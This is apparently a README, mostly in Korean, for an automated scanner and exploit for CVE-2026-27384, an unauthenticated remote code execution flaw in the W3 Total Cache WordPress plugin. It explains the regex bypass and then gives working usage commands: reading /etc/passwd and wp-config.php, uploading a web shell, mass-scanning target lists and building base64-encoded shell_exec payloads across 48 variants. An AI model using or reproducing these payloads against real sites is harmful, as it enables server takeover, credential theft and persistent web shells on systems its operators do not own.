
자동 스캐너 및 익스플로잇: mfunc/eval() 주입을 통한 W3 Total Cache의 인증 없는 RCE 취약점인 CVE-2026-27384를 대상으로 합니다. 자동 감지, 48가지 페이로드 변형, 대화형 셸 및 배치 스캔 기능을 제공합니다.
플러그인: W3 Total Cache 플러그인 슬러그:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS 점수: 9.8 (치명적) CVSS 벡터:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H취약점 유형: 인증되지 않은 임의 코드 실행 (eval()을 통한 코드 인젝션) 영향받는 버전: <= 2.9.1 패치 버전: 2.9.2 공개일: 2026년 2월 24일 연구자: CODE WHITE GmbH
W3 Total Cache 플러그인의 Dynamic Fragment Caching 기능(mfunc/mclude 시스템)은
HTML 주석 안에 포함된 PHP 코드를 eval()로 실행합니다.
이 기능을 보호해야 하는 W3TC_DYNAMIC_SECURITY 토큰은 여러 코드 결함이
결합되면서 우회될 수 있습니다.
결과: 인증 없이 단순히 WordPress 댓글을 하나 게시하는 것만으로 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
| 항목 | 값 |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| 유형 | Code Injection → RCE (CWE-94) |
| 영향받는 버전 | <= 2.9.1 |
| 패치 버전 | 2.9.2 |
| 인증 | 불필요 |
| 사용자 상호작용 | 불필요 |
| 전제 조건 | W3TC_DYNAMIC_SECURITY에 regex 메타문자 포함 |
W3TC의 Dynamic Fragment Caching 기능은 개발자가 페이지 HTML에 특수 주석 태그를 통해 PHP 코드를 삽입할 수 있게 합니다:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC는 캐시에서 페이지를 제공할 때 이러한 태그를 처리합니다:
삽입된 PHP는 eval()로 실행되며, 그 출력이 주석 블록 자리를 대체합니다.
preg_quote() 누락 (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY가 정규식에 직접 삽입됨
// preg_quote() 없음 → 토큰이 정규식 패턴처럼 동작
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
토큰이 '.'이면 정규식은 <!--\s*mfunc\s*.(.*)-->가 됩니다 →
임의의 단일 문자가 토큰 대신 매칭됩니다.
\s* vs \s+ 불일치| 함수 | 패턴 | 동작 |
|---|---|---|
_parse_dynamic() — 실행함 | mfunc\s*TOKEN | 공백 0개 허용 ✅ |
strip_dynamic_fragment_tags_from_string() — 제거함 | mfunc\s+TOKEN | 공백 최소 1개 필수 ❌ |
공격자 페이로드: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfunc와 토큰 사이에 공백 없음
strip 함수: \s+ → 매칭 안 됨 → 페이로드 유지됨
실행 정규식: \s* → 매칭됨 → eval() 실행됨
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ defined() 검사만 수행 — empty() 또는 메타문자 검사 없음
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (정규식 메타문자 — 임의의 문자)
│
▼
공격자가 댓글 게시:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
패턴: mfunc\s+[^\s]+ → \s+ 요구, 공백 없음 → 우회됨 ✅
│
▼
댓글이 데이터베이스에 저장되고, 페이지가 캐시됨
│
▼
두 번째 HTTP 요청 → W3TC가 캐시에서 제공
_has_dynamic() → mfunc\s*. → 'A' 매칭 → true 반환
│
▼
_parse_dynamic() → preg_replace_callback
패턴: mfunc\s*. → 'A' 매칭
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 인증 없는 RCE ✓
인증 없이 서버에서 웹 서버 권한으로 임의의 PHP 코드를 실행할 수 있습니다:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| 모드 | 설명 |
|---|---|
auto | 사이트 스캔 → 댓글 페이지 탐색 → 익스플로잇 (기본값) |
exploit | 직접 익스플로잇 — post URL 사용 |
shell | 인터랙티브 셸 |
detect | W3TC 탐지만 수행 |
python w3tc_rce.py https://hedef.com
스캐너가 수행하는 작업:
# id 명령
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd 읽기
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php 읽기
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post ID 수동 지정
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
셸이 열리면 자동으로 whoami, hostname, pwd, uname -a가 실행됩니다:
=================================================================
CVE-2026-27384 — W3TC mfunc 인터랙티브 셸
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
명령어: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC 설치됨!
버전 : 2.9.1
Cache : True
[!] 버전 2.9.1 취약 (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| 파라미터 | 단축 | 설명 | 기본값 |
|---|---|---|---|
url | — | 단일 대상 URL | — |
--list | -l | 대상 목록 파일 | — |
--mode | — | 작동 모드 | auto |
--cmd | — | 실행할 명령 | id |
--post-url | — | 댓글이 있는 페이지 URL | — |
--post-id | — | WordPress post ID | — |
--max-pages | — | 스파이더 최대 페이지 수 | 50 |
--threads | -t | 스레드 수 | 10 |
--output | -o | 출력 파일 | w3tc_results.txt |
--proxy | — | 프록시 URL | — |
--no-color | — | 색상 없는 출력 | False |
--verbose | -v | 상세 출력 | False |
표준 태그 (strip에 탐지됨):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
공백 있음 → \s+ 매칭 → strip이 제거
우회 태그 (strip을 우회하고 eval() 실행):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
공백 없음 → \s+ 매칭 안 됨 → strip 건너뜀
\s* 매칭됨 → eval() 실행됨
PHP 코드는 HTML 인코딩 문제를 방지하기 위해 base64로 인코딩됩니다:
# 명령: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| 그룹 | 함수 | 우회 문자 | 인코딩 |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | 모든 함수 | A, B, X, 1 | 원본 |
1. W3TC 탐지
└─ readme.txt, 헤더, 본문, 플러그인 디렉터리
2. 댓글 시스템 탐지
└─ HTML 폼, REST API, post ID
3. 페이로드 인젝션 (48개 변형)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML Form: POST /wp-comments-post.php